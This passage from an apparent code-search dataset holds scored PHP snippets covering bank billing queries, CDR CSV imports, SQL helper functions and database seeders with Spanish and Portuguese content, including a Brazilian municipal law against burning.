cod_desconto1,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tCASE WHEN titcvl_desconto IS NULL THEN\r\n\t\t\t\t\t\t\t\t\t''\r\n\t\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t\tTO_CHAR(titcdt_vencimento, 'DDMMYYYY')\r\n\t\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t\t) AS data_desconto1,\r\n\t\t\t\t\t\t\ttitcvl_desconto AS valor_desconto1,\r\n\t\t\t\t\t\t\t'' AS valor_iof,\r\n\t\t\t\t\t\t\t'' AS valor_abatimento,\r\n\t\t\t\t\t\t\ttitcoid AS identificacao_titulo,\r\n\t\t\t\t\t\t\t'0' AS cod_protesto,\r\n\t\t\t\t\t\t\t'' AS numero_dias_protesto,\r\n\t\t\t\t\t\t\t'1' AS cod_baixa,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\t\tpcsidescricao\r\n\t\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\t\tAND pcsioid = 'DIAS_BAIXA_DEVOLUCAO'\r\n\t\t\t\t\t\t\t) AS numero_dias_baixa,\r\n\t\t\t\t\t\t\t'00' AS cod_moeda,\r\n\r\n\t\t\t\t\t\t\t'3' AS tipo_registro_q,\r\n\t\t\t\t\t\t\t'' AS sequencial_detalhe_q,\r\n\t\t\t\t\t\t\t'Q' AS cod_segmento_q,\r\n\t\t\t\t\t\t\ttpetcodigo AS cod_movimento_q,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\t\t1\r\n\t\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\t\t2\r\n\t\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t\t) AS tipo_inscricao,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tCASE WHEN clitipo = 'F' THEN\r\n\t\t\t\t\t\t\t\t\tclino_cpf\r\n\t\t\t\t\t\t\t\tWHEN clitipo = 'J' THEN\r\n\t\t\t\t\t\t\t\t\tclino_cgc\r\n\t\t\t\t\t\t\t\tELSE\r\n\t\t\t\t\t\t\t\t\tNULL\r\n\t\t\t\t\t\t\t\tEND\r\n\t\t\t\t\t\t\t) AS inscricao,\r\n\t\t\t\t\t\t\tclinome AS nome,\r\n\t\t\t\t\t\t\tendlogradouro AS endereco,\r\n\t\t\t\t\t\t\tendbairro AS bairro,\r\n\t\t\t\t\t\t\tendcep AS cep,\r\n\t\t\t\t\t\t\t'' AS sufixo_cep,\r\n\t\t\t\t\t\t\tendcidade AS cidade,\r\n\t\t\t\t\t\t\tenduf AS uf,\r\n\t\t\t\t\t\t\t'2' AS tipo_avalista,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\t\tteccnpj\r\n\t\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t\t) AS inscricao_avalista,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\t\ttecrazao\r\n\t\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\t\ttectran\r\n\t\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\t\ttecurl_sistema = 'PUBLIC'\r\n\t\t\t\t\t\t\t) AS nome_avalista,\r\n\t\t\t\t\t\t\t'000' AS identificador_carne,\r\n\t\t\t\t\t\t\t'' AS sequencial_parcela,\r\n\t\t\t\t\t\t\t'' AS total_parcelas,\r\n\t\t\t\t\t\t\t'' AS numero_plano,\r\n\r\n\t\t\t\t\t\t\t'3' AS tipo_registro_r,\r\n\t\t\t\t\t\t\t'' AS sequencial_detalhe_r,\r\n\t\t\t\t\t\t\t'R' AS cod_segmento_r,\r\n\t\t\t\t\t\t\ttpetcodigo AS cod_movimento_r,\r\n\t\t\t\t\t\t\t'0' AS cod_desconto2,\r\n\t\t\t\t\t\t\t'' AS data_desconto2,\r\n\t\t\t\t\t\t\t'' AS valor_desconto2,\r\n\t\t\t\t\t\t\t'2' AS cod_multa,\r\n\t\t\t\t\t\t\t'' AS data_multa,\r\n\t\t\t\t\t\t\t(\r\n\t\t\t\t\t\t\t\tSELECT\r\n\t\t\t\t\t\t\t\t\tpcsidescricao::NUMERIC\r\n\t\t\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\t\t\tparametros_configuracoes_sistemas\r\n\t\t\t\t\t\t\t\t\tINNER JOIN parametros_configuracoes_sistemas_itens ON pcsipcsoid = pcsoid\r\n\t\t\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\t\t\tpcsipcsoid = 'COBRANCA_REGISTRADA'\r\n\t\t\t\t\t\t\t\t\tAND pcsioid = 'PERCENTO_MULTA_APOS_VENCER'\r\n\t\t\t\t\t\t\t) AS valor_multa,\r\n\t\t\t\t\t\t\t'' AS mensagem3,\r\n\t\t\t\t\t\t\t'' AS mensagem4,\r\n\t\t\t\t\t\t\tTO_CHAR(titcdt_vencimento, 'YYYY-MM-DD') AS vencimento_classe_boleto\r\n\t\t\t\t\t\tFROM\r\n\t\t\t\t\t\t\ttitulo_consolidado\r\n\t\t\t\t\t\t\tINNER JOIN clientes ON titcclioid=clioid\r\n\t\t\t\t\t\t\tINNER JOIN endereco ON cliend_cobr=endoid\r\n\t\t\t\t\t\t\tINNER JOIN tipo_evento_titulo ON tpetoid=titctpetoid \r\n\t\t\t\t\t\tWHERE\r\n\t\t\t\t\t\t\ttpetcfbbanco = 33 \r\n\t\t\t\t\t\t\tAND tpetcob_registrada IS TRUE\r\n\t\t\t\t\t\t\tAND titcrtcroid IS NULL\r\n\t\t\t\t\t\t\tAND titcdt_pagamento IS NULL\r\n\t\t\t\t\t\t\tAND titcdt_vencimento::DATE >= NOW()::DATE\r\n\t\t\t\t\t\t\tAND titcformacobranca IN ($formaCobranca) \r\n\t\t\t\t\t\t\tAND titctpetoid IN (11,15,17,20,23)\r\n \t\t\t\t\t\t\tAND titcdt_cancelamento IS NULL \";\r\n\r\n\t\t$sql = $sqlTitulo . ' UNION ALL ' . $sqlRetencao . ' UNION ALL ' . $sqlConsolidado . ' ORDER BY data_emissao_prazo DESC LIMIT ' . $limite;\r\n\t\t\t\r\n\t\tif (!$rs = pg_query($this->conn, $sql)) {\r\n\t\t\tthrow new ErrorException(self::MENSAGEM_ERRO_PROCESSAMENTO);\r\n\t\t}\r\n\t\t\r\n\t\twhile($registro = pg_fetch_object($rs)) {\r\n\t\t\t\r\n\t\t\t//verifica o valor do título e se está no prazo estipulado pela febraban\r\n\t\t\t$prazosFebraban = Boleto::getPrazosFebraban($registro->valor_nominal, $registro->data_emissao_prazo);\r\n\t\t\t\r\n\t\t\t// e tiver dentro do prazo da Febraban manda os dados no arquivo para registro\r\n\t\t\tif($prazosFebraban->dados == 1){\r\n\t\t\t\t$retorno[] = $registro;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\t\t\t\r\n\t\treturn $retorno;\r\n\t}", "title": "" }, { "docid": "b3f43f9157577c3f1e4590a2d0531442", "score": "0.49702448", "text": "public function fire()\n\t{\n\n CronHelper::before_cronrun($this->name, $this );\n\n\n\t\t$dir = 'C:/temp/CDRS/';\n $filenames = [\n '85.13.211.22' => 'VOS-CDR-85.13.211.22.csv',\n '89.187.70.170' => 'VOS-CDR-89.187.70.170.csv',\n '67.228.185.54' => 'SIPPY-CDR-67.228.185.54.csv',\n '85.13.206.74' => 'SIPPY-CDR-85.13.206.74.csv',\n ];\n $ProcessID = Uuid::generate();\n\n Log::useFiles(storage_path() . '/logs/impotySummeryData-' . date('Y-m-d') . '.log');\n\n try {\n foreach ($filenames as $IP => $filename) {\n\n\n $filepath = $dir . $filename;\n\n Log::info($filepath . ' - Processing ');\n\n //$results = Excel::load($filepath)->toArray();\n $NeonExcel = new NeonExcelIO($filepath);\n $results = $NeonExcel->read();\n\n Log::info(count($results) . ' - Records Found ');\n\n $lineno = 2;\n $error = array();\n\n\n if (strstr($filename, \"VOS\")) {\n\n\n foreach ($results as $temp_row) {\n //Log::error($temp_row);\n //check empty row\n $checkemptyrow = array_filter(array_values($temp_row));\n if(!empty($checkemptyrow)){\n $tempItemData = array();\n\n $tempItemData['ProcessID'] = $ProcessID;\n $tempItemData['CompanyID'] = 1;\n $tempItemData['IP'] = $IP;\n $tempItemData['Gateway'] = $filename;\n\n\n if (isset($temp_row['account_id']) && !empty($temp_row['account_id'])) {\n $tempItemData['GatewayAccountID'] = $temp_row['account_id'];\n } else {\n $error[] = 'account_id is blank at line no: ' . $lineno;\n }\n if (isset($temp_row['account_name'])) {\n $tempItemData['AccountName'] = trim($temp_row['account_name']);\n }\n if (isset($temp_row['area_prefix'])) {\n $tempItemData['AreaPrefix'] = $temp_row['area_prefix'];\n }\n if (isset($temp_row['area_name'])) {\n $tempItemData['AreaName'] = $temp_row['area_name'];\n }\n if (isset($temp_row['total_duration'])) {\n $tempItemData['Duration'] = $temp_row['total_duration'];\n }\n if (isset($temp_row['number_of_cdr'])) {\n $tempItemData['TotalCalls'] = $temp_row['number_of_cdr'];\n }\n\n if (isset($temp_row['total_charges'])) {\n $tempItemData['TotalCharge'] = number_format(str_replace(\",\", \"\",$temp_row['total_charges']), 8 , \".\" , \"\" );\n }\n if (isset($temp_row['account_name']) && !empty($temp_row['account_name']) && isset($temp_row['total_charges']) && isset($temp_row['total_charges'])) {\n\n //Log::error($tempItemData);\n SummeryData::create($tempItemData);\n Log::error($temp_row['account_id'] . ' Inserted ');\n } else {\n Log::error($temp_row['account_id'] . ' skipped line number' . $lineno);\n\n }\n }\n\n $lineno++;\n\n }\n\n } else if (strstr($filename, \"SIPPY\")) {\n\n foreach ($results as $temp_row) {\n //check empty row\n $checkemptyrow = array_filter(array_values($temp_row));\n if(!empty($checkemptyrow)){\n $tempItemData = array();\n\n $tempItemData['ProcessID'] =$ProcessID;\n $tempItemData['CompanyID'] = 1;\n $tempItemData['IP'] = $IP;\n $tempItemData['Gateway'] = $filename;\n\n if (isset($temp_row['customer_name']) && !empty($temp_row['customer_name'])) {\n $tempItemData['GatewayAccountID'] = str_replace(\"Acct. \",\"\",$temp_row['customer_name']);\n } else {\n $error[] = 'Account id is blank at line no: ' . $lineno;\n }\n if (isset($temp_row['customer_name'])) {\n $tempItemData['AccountName'] = trim($temp_row['customer_name']);\n }\n if (isset($temp_row['prefix'])) {\n $tempItemData['Areaprefix'] = $temp_row['prefix'];\n }\n if (isset($temp_row['description'])) {\n $tempItemData['AreaName'] = $temp_row['description'];\n }\n if (isset($temp_row['billed_duration_min'])) {\n $tempItemData['Duration'] = $temp_row['billed_duration_min']*60;\n }\n if (isset($temp_row['number_of_calls'])) {\n $tempItemData['TotalCalls'] = $temp_row['number_of_calls'];\n }\n if (isset($temp_row['country'])) {\n $tempItemData['Country'] = $temp_row['country'];\n }\n if (isset($temp_row['charged_amount'])) {\n $tempItemData['TotalCharge'] = number_format(str_replace(\",\", \"\", $temp_row['charged_amount']), 8 , \".\" , \"\" );\n }\n if (isset($temp_row['customer_name']) && !empty($temp_row['customer_name']) && isset($temp_row['charged_amount']) && isset($temp_row['charged_amount'])) {\n //Log::error($tempItemData);\n SummeryData::create($tempItemData);\n Log::error($lineno . ' line no. Inserted ');\n } else {\n Log::error(' skipped line number' . $lineno);\n }\n }\n $lineno++;\n\n }\n\n } else {\n Log::error(\" unknown file \" . $filepath);\n\n }\n\n }\n\n }catch (\\Exception $ex){\n\n Log::error($ex);\n }\n\n\n CronHelper::after_cronrun($this->name, $this);\n\n }", "title": "" }, { "docid": "57f88d66076cf1099e5f75c7b7ab4878", "score": "0.49683872", "text": "public function findAllSinInquilinoYSinId() { \n return $this->getEntityManager()\n ->createQueryBuilder()\n ->select('c.CodHabitacion,c.Descripcion,c.TipoHabitacion,c.TarifaMes,c.path,c.numDisponibles')\n ->from('GestionResiBundle:Habitacion','c')\n ->where('c.numDisponibles = c.TipoHabitacion')\n ->getQuery()\n ->getResult();\n }", "title": "" }, { "docid": "82566fbe9d20a6e9f06feff74d318675", "score": "0.49676976", "text": "function validaTramiteTurnadoInterno ()\n\t{\n\t\t$folioc=$this->argumentos[\"wl_folioconsecutivo\"];\n\t\t$personat=$this->argumentos[\"wl_id_persona\"];\n\t\t$tramite=$this->argumentos[\"wl_id_tipotra\"];\n\t\t//echo \"<error>$folioc - $personat - $tramite</error>\t\";\n\t\t$sql = \t\"\tselect * from contra.v_turnados_interno \t\".\n\t\t\t\t\"\twhere folioconsecutivo=$folioc and id_persona=$personat and liberado='N' \t\";\n\t\t\t\t//\"\twhere folioconsecutivo=$folioc and id_persona=$personat and id_tipotra=$tramite and liberado='N' \t\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\t//$this->hayerrorsql($this->connection,\"libera\",$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en validaTramiteTurnadoInterno \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n\t\telse\n\t\t{\n\t\t$num = pg_numrows($sql_result);\n\t\techo \"<enviavalor>$num</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t\t}\n\t}", "title": "" }, { "docid": "6a317669a60c1a8b8dc6d32579540e5d", "score": "0.49671036", "text": "public function comprobar_solapes($inicio, $fin)\n {\n $txt = '';\n $GesActividades = new GestorActividadDl();\n $sQry = \"SELECT id_activ, to_char(f_ini,'YYYYMMDD')||COALESCE(to_char(h_ini,'HH24MISS'),'200000') as inicio \n FROM a_actividades_dl\n WHERE dl_org = '\" . core\\ConfigGlobal::mi_delef() . \"' AND f_ini >= '$inicio' AND f_ini <= '$fin' AND status < 4 \n ORDER BY inicio\";\n $cActividades = $GesActividades->getActividadesQuery($sQry);\n $num_act = count($cActividades);\n for ($i = 0; $i < ($num_act - 1); $i++) {\n $id_ubi1 = $cActividades[$i]->getId_ubi();\n if (empty($id_ubi1) || $id_ubi1 == 1) continue; //lugares sin determinar\n $id_ubi2 = $cActividades[$i + 1]->getId_ubi();\n if ($id_ubi1 != $id_ubi2) {\n // cambio de ubi\n continue; //salto al siguiente.\n }\n $oF_fin = $cActividades[$i]->getF_fin();\n $h_fin = $cActividades[$i]->getH_fin();\n if (empty($h_fin)) $h_fin = '10:00:00';\n list($h, $m, $s) = explode(':', $h_fin);\n $oF_fin->setTime($h, $m, $s);\n\n $oF_ini = $cActividades[$i + 1]->getF_ini();\n $h_ini = $cActividades[$i + 1]->getH_ini();\n if (empty($h_ini)) $h_ini = '20:00:00';\n list($h, $m, $s) = explode(':', $h_ini);\n $oF_ini->setTime($h, $m, $s);\n\n $dif = $oF_fin->diff($oF_ini);\n //echo $dif->format('%R%a %H');\n if ($dif->format('%R') == '-') {\n //echo $dif->format('%R%a %H');\n $txt .= _(\"hay un solape entre\") . ': ';\n $txt .= $cActividades[$i]->getNom_activ();\n $txt .= ' ' . _(\"y\") . ' ';\n $txt .= $cActividades[$i + 1]->getNom_activ();\n $txt .= \"<br>\";\n }\n }\n return $txt;\n }", "title": "" }, { "docid": "bcf2bb86dd2c54ba5ec80aeb808db7ad", "score": "0.49665907", "text": "public function utilidades(){\n\n $util = \"SELECT DATE_FORMAT(fecha,\\\"%Y\\\") as año, DATE_FORMAT(fecha,\\\"%b\\\") as mes,\n sum(precio_compra * cantidad) as suma_compras, sum(precio_venta * cantidad) as suma_ventas\n FROM detalle_venta\n GROUP BY MONTH(fecha)\";\n return ejecutarConsulta($util);\n }", "title": "" }, { "docid": "35aa6ede9ad4e4901fa044d28191d8f6", "score": "0.4966522", "text": "function notiMetaDinero($conexion,$id_p,$id_c,$link){\n //Traemos el dinero a recaudar y el dienro actual de un proyecto\n $query = mysqli_query($conexion,\"SELECT * FROM meta WHERE id_proyecto='$id_p'\");\n $row = mysqli_fetch_array($query);\n //Verificamos que ya no se le aya notificado\n $query = mysqli_query($conexion,\"SELECT * FROM notificaciones WHERE sobre='Completado' AND id_user='$id_c' \");\n $num = mysqli_num_rows($query);\n if($num != 0){\n //Verificamos que el diero actual es igual o superior al dinero a recaudar\n if($row['dinero_actual'] >= $row['dinero']){\n //Llamamos a la funcion generar notificacion\n generarNotificacion($conexion,$id_c,'Tu proyecto acaba dde llegar a su meta de dinero ','Copletado','novisto',$link);\n }\n } \n}", "title": "" }, { "docid": "9640044d300d300574b505c5d7818183", "score": "0.49534482", "text": "function actualizaOficio() \n\t{\n \t$wlidcontestacion=$this->argumentos[\"wl_idcontestacion\"];\n\t\t$sql = \t\"\tselect referencia_c from contra.gestion_contestacion idcontestacion\".$wlidcontestacion.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['referencia_c'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "bb602df87a919c65ac6390eff31aadf6", "score": "0.49507928", "text": "public function run()\n\t{\n\t\t\\DB::table('tiposujetoagredidos')->delete();\n \n\t\t\\DB::table('tiposujetoagredidos')->insert(array (\n\t\t\t0 => \n\t\t\tarray (\n\t\t\t\t'id' => '1',\n\t\t\t\t'tiposujetoagredido' => 'Periodista',\n\t\t\t),\n\t\t\t1 => \n\t\t\tarray (\n\t\t\t\t'id' => '2',\n\t\t\t\t'tiposujetoagredido' => 'Comunicador Social',\n\t\t\t),\n\t\t\t2 => \n\t\t\tarray (\n\t\t\t\t'id' => '3',\n\t\t\t\t'tiposujetoagredido' => 'Camarógrafo',\n\t\t\t),\n\t\t\t3 => \n\t\t\tarray (\n\t\t\t\t'id' => '4',\n\t\t\t\t'tiposujetoagredido' => 'Vocero de grupos campesinos',\n\t\t\t),\n\t\t\t4 => \n\t\t\tarray (\n\t\t\t\t'id' => '5',\n\t\t\t\t'tiposujetoagredido' => 'Periodista independiente',\n\t\t\t),\n\t\t\t5 => \n\t\t\tarray (\n\t\t\t\t'id' => '6',\n\t\t\t\t'tiposujetoagredido' => 'Relacionador Pùblico',\n\t\t\t),\n\t\t\t6 => \n\t\t\tarray (\n\t\t\t\t'id' => '7',\n\t\t\t\t'tiposujetoagredido' => 'Gerente de Medio de Comunicaciòn',\n\t\t\t),\n\t\t\t7 => \n\t\t\tarray (\n\t\t\t\t'id' => '8',\n\t\t\t\t'tiposujetoagredido' => 'Medio Digital',\n\t\t\t),\n\t\t\t8 => \n\t\t\tarray (\n\t\t\t\t'id' => '9',\n\t\t\t\t'tiposujetoagredido' => 'Dueño de Medio de Comunicaciòn',\n\t\t\t),\n\t\t\t9 => \n\t\t\tarray (\n\t\t\t\t'id' => '10',\n\t\t\t\t'tiposujetoagredido' => 'Fuente de Consulta Mediatìca',\n\t\t\t),\n\t\t\t10 => \n\t\t\tarray (\n\t\t\t\t'id' => '11',\n\t\t\t\t'tiposujetoagredido' => 'Corresponsal Internacional',\n\t\t\t),\n\t\t\t11 => \n\t\t\tarray (\n\t\t\t\t'id' => '12',\n\t\t\t\t'tiposujetoagredido' => 'Presentador de TV',\n\t\t\t),\n\t\t\t12 => \n\t\t\tarray (\n\t\t\t\t'id' => '13',\n\t\t\t\t'tiposujetoagredido' => 'Locutor',\n\t\t\t),\n\t\t\t13 => \n\t\t\tarray (\n\t\t\t\t'id' => '14',\n\t\t\t\t'tiposujetoagredido' => 'Estudiante de Periodismo',\n\t\t\t),\n\t\t\t14 => \n\t\t\tarray (\n\t\t\t\t'id' => '15',\n\t\t\t\t'tiposujetoagredido' => 'Estudiantes',\n\t\t\t),\n\t\t\t15 => \n\t\t\tarray (\n\t\t\t\t'id' => '16',\n\t\t\t\t'tiposujetoagredido' => 'Gremios Sociales',\n\t\t\t),\n\t\t\t16 => \n\t\t\tarray (\n\t\t\t\t'id' => '17',\n\t\t\t\t'tiposujetoagredido' => 'Artista',\n\t\t\t),\n\t\t\t17 => \n\t\t\tarray (\n\t\t\t\t'id' => '18',\n\t\t\t\t'tiposujetoagredido' => 'Instalaciones Físicas de Medio de Comunicaciòn',\n\t\t\t),\n\t\t\t18 => \n\t\t\tarray (\n\t\t\t\t'id' => '19',\n\t\t\t\t'tiposujetoagredido' => 'Defensor de DDHH',\n\t\t\t),\n\t\t\t19 => \n\t\t\tarray (\n\t\t\t\t'id' => '20',\n\t\t\t\t'tiposujetoagredido' => 'Abogados',\n\t\t\t),\n\t\t\t20 => \n\t\t\tarray (\n\t\t\t\t'id' => '21',\n\t\t\t\t'tiposujetoagredido' => 'Líder Comunitario',\n\t\t\t),\n\t\t\t21 => \n\t\t\tarray (\n\t\t\t\t'id' => '22',\n\t\t\t\t'tiposujetoagredido' => 'ONG/DDHH',\n\t\t\t),\n\t\t\t22 => \n\t\t\tarray (\n\t\t\t\t'id' => '23',\n\t\t\t\t'tiposujetoagredido' => 'Religiosos',\n\t\t\t),\n\t\t\t23 => \n\t\t\tarray (\n\t\t\t\t'id' => '24',\n\t\t\t\t'tiposujetoagredido' => 'Activista Politico',\n\t\t\t),\n\t\t\t24 => \n\t\t\tarray (\n\t\t\t\t'id' => '25',\n\t\t\t\t'tiposujetoagredido' => 'Grupo de Periodistas',\n\t\t\t),\n\t\t\t25 => \n\t\t\tarray (\n\t\t\t\t'id' => '26',\n\t\t\t\t'tiposujetoagredido' => 'Edificio de Medio\n',\n\t\t\t),\n\t\t\t26 => \n\t\t\tarray (\n\t\t\t\t'id' => '27',\n\t\t\t\t'tiposujetoagredido' => 'Comunicador Comunitario',\n\t\t\t),\n\t\t\t27 => \n\t\t\tarray (\n\t\t\t\t'id' => '29',\n\t\t\t\t'tiposujetoagredido' => 'Radio Comunitaria',\n\t\t\t),\n\t\t\t28 => \n\t\t\tarray (\n\t\t\t\t'id' => '30',\n\t\t\t\t'tiposujetoagredido' => 'Fotografo',\n\t\t\t),\n\t\t));\n\t}", "title": "" }, { "docid": "1ab59c05ec1bccffc9c6b6e1b27b9ffa", "score": "0.49474567", "text": "public function crearEpicrisis(){\r\n $sql = \"INSERT INTO Epicrisis(hipertension,\r\n enfermedad_Cardiaca,\r\n cancer,\r\n sida,\r\n hepatitis,\r\n epilepsia,\r\n alergias,\r\n asma,\r\n convulsiones,\r\n anticuagulante,\r\n hipoglicemia,\r\n embarazo,\r\n diabetes,\r\n otro,\r\n id_Usuario)\r\n VALUES ('{$this-> hipertension}',\r\n '{$this-> enfermedad_Cardiaca}',\r\n '{$this-> cancer}',\r\n '{$this-> sida}',\r\n '{$this-> hepatitis}',\r\n '{$this-> epilepsia}',\r\n '{$this-> alergias}',\r\n '{$this-> asma}',\r\n '{$this-> convulsiones}',\r\n '{$this-> anticuagulante}',\r\n '{$this-> hipoglicemia}',\r\n '{$this-> embarazo}',\r\n '{$this-> diabetes}',\r\n '{$this-> otro}',\r\n '{$this-> cedula_Usuario}')\";\r\n //Llama al Metodo consultaSimple para Ejecutar la Sentencia SQL\r\n $this-> conex-> consultaSimple($sql);\r\n }", "title": "" }, { "docid": "e7b1af7b31ff2eb3ca6865902e841075", "score": "0.49405223", "text": "function imprime_agenda(){\r\n\r\n\t\t/*Solicita próximos passeios. O número de 50 passado no argumento é só para garantir que todos os próximos passeios serão armazenados no array $proximos_passeios*/\r\n\t\t$proximos_passeios = proximo_passeio(30);\r\n\r\n\t\t/*solicitar agenda de viagens, passando próximos passseios como argumento*/\r\n\t\t$agenda = agenda_viagens($proximos_passeios);\r\n\r\n\t\t/**FORMATO DO VETOR AGENDA\r\n\t\t * A agenda retornada terá o seguinte formato\r\n\t\t *\r\n\t\t * $agenda = {\r\n\t\t * \r\n\t\t * \tmaio = {\r\n\t\t * \t\t\t\tpasseio_1 = {\r\n\t\t * \t\t\t\t\t\t\t\tid =>\r\n\t\t * \t\t\t\t\t\t\t\tdestino = > \r\n\t\t * \t\t\t\t\t\t\t}\r\n\t\t *\t\t\t\tpasseio_2 = {\r\n\t\t * \t\t\t\t\t\t\t\tid =>\r\n\t\t * \t\t\t\t\t\t\t\tdestino = > \r\n\t\t * \t\t\t\t\t\t\t} \r\n\t\t * \t\t\t}\r\n\t\t *\r\n\t\t * \tjunho = {\r\n\t\t * \t\t\t\tpasseio_1 = {\r\n\t\t * \t\t\t\t\t\t\t\tid =>\r\n\t\t * \t\t\t\t\t\t\t\tdestino = > \r\n\t\t * \t\t\t\t\t\t\t}\r\n\t\t *\r\n\t\t *\t\t\t\tpasseio_2 = {\r\n\t\t * \t\t\t\t\t\t\t\tid =>\r\n\t\t * \t\t\t\t\t\t\t\tdestino = > \r\n\t\t * \t\t\t\t\t\t\t} \r\n\t\t * \t \t\t\t\t\r\n\t\t * \t\t\t}\r\n\t\t * \r\n\t\t * }\r\n\t\t * \r\n\t\t */\r\n\t\t\r\n\t\t/*Declarando a existência de string auxiliar*/\r\n\t\t$string='';\r\n\r\n\t\t/*[loop] para cada mes*/\r\n\t\tforeach ($agenda as $mes => $grupo_destinos) {\r\n\t\t\t\t\r\n\t\t\t/*armazenando string necessaria impressão do mes*/\r\n\t\t\t$string=$string.\"<li><span>\".ucfirst($mes).\"</span><ul>\";\r\n\t\t\t\t\r\n\t\t\t/*[loop] para cada grupo de destinos do mes*/\r\n\t\t\tforeach ($grupo_destinos as $destino => $dados_destino) {\r\n\t\t\t\t/*imprimindo id e nome*/\t\r\n\t\t\t\t$string =$string.\"\r\n\t\t\t\t\t<li>\r\n\t\t\t\t\t\t<a href='passeio.php?id=\".$dados_destino['id'].\"'>\".$dados_destino['nome'].\"</a>\r\n\t\t\t\t\t</li>\";\t\r\n\t\t\t}\r\n\t\t\t\t$string =$string.\"</ul></li>\";\r\n\r\n\t\t}\t\r\n\t\t\t\r\n\t\treturn $string;\r\n\t}", "title": "" }, { "docid": "8296604eb6b9b8a773cb3d7f9d698efa", "score": "0.49388462", "text": "public function run()\n {\n //\n \t$noticia = new Noticia;\n $noticia->titulo = 'Segundo desafio de downhill em Florestal';\n $noticia->texto_noticia = 'O segundo desafio de down hill de Florestal será realizado nos dias 28/29 de abril .\nO evento será realizado na pista de UFV - campos Florestal (na entrada da cidade)\nO evento iniciará no Sábado as 08:00hs e encerrará às 17:00hs ( com intervalo para almoço )\nNo domingo iniciara as 08:00hs e encerrará os treinos às 10:30hs .\nAs largadas oficiais começarão às 11:00hs.\nO evento contará com apoio de ambulância e no minimo dois caminhões para resgate.\nCategorias:\n-Elite\n-Junior\n-Open\n-Juvenil \n-Sub-30\n-Master A1\n-Master A2\n-Master B\n-Rígida \n-Open feminina \nAs inscrições serão realizadas antecipadamente no site ( www.fmc.org.br) no valor de R$100,00. \nTambém sera realizadas inscrições no local do evento no valor de R$150,00. \n\nMais informações 031 995400338 (Joliver)\n\nAnúncio Patrocinado pela Pousada e Restaurante Sítio do Mangais';\n $noticia->autor = 3;\n $noticia->pasta = 5;\n $noticia->f_ou_v = 0;\n $noticia->endereco = 'segundo-desafio-de-downhill-em-florestal2018-11-14.jpeg';\n $noticia->save();\n\n\n $noticia = new Noticia;\n $noticia->titulo = 'Lei 966 - “Dispõe sobre a proibição de queimadas.”';\n $noticia->texto_noticia = 'Confira a lei na íntegra:\n\nLEI Nº 966\n\n“Dispõe sobre a proibição de queimadas nas vias públicas e nos imóveis urbanos do Município de Florestal e dá outras providências.”\n\nOs cidadãos DO MUNICÍPIO DE FLORESTAL, Estado de Minas Gerais, abaixo-assinados, no uso de seus direitos legais, apresenta a câmara municipal de Florestal o presente projeto de lei de iniciativa popular:\n\nArt. 1º. Esta lei, respeitadas as competências da União e do Estado de Minas Gerais, dispõe sobre a proibição de queimadas nas vias públicas e no interior de imóveis localizados na zona urbana do Município de Florestal, com o objetivo de preservar a saúde e segurança pública, bem como manter o meio ambiente local ecologicamente equilibrado.\n\nArt. 2º. Fica proibida, sob qualquer forma, a realização de queimada nas vias públicas e no interior de imóveis, públicos ou particulares, localizados na zona urbana do Município de Florestal.\n\n§ 1º. Para os fins desta lei entende-se por queimada:\n\nI - A queima de mato ou vegetação, seca ou verde, para fins de limpeza de terrenos em aberto ou de áreas livres localizadas em imóveis edificados;\n\nII - A queima ao ar livre, como forma de descarte, de papel, papelão, madeiras, mobílias, galhos, folhas, lixo, entulhos e outros resíduos sólidos assemelhados;\n\nIII - A queima ao ar livre, como forma de descarte, de pneus, borrachas, plásticos, resíduos industriais ou outros materiais combustíveis assemelhados, sólidos ou líquidos.\n\n§ 2º. Incluem-se na vedação deste artigo a queimada em terrenos marginais de rodovias, de rios, de lagos ou de matas de quaisquer espécies.\n\n§ 3º. Quando na queimada descrita no inciso I forem encontrados os materiais ou substâncias mencionadas nos incisos II e III, todos deste artigo, será aplicada a pena mais gravosa para a infração.\n\nArt. 3º. Ficam os proprietários de lotes vagos do Município obrigados a mantê-los limpos, evitando a ocorrência de queimadas criminosas e a aglomeração de animais peçonhentos.\n\nArt. 4º. Toda pessoa, física 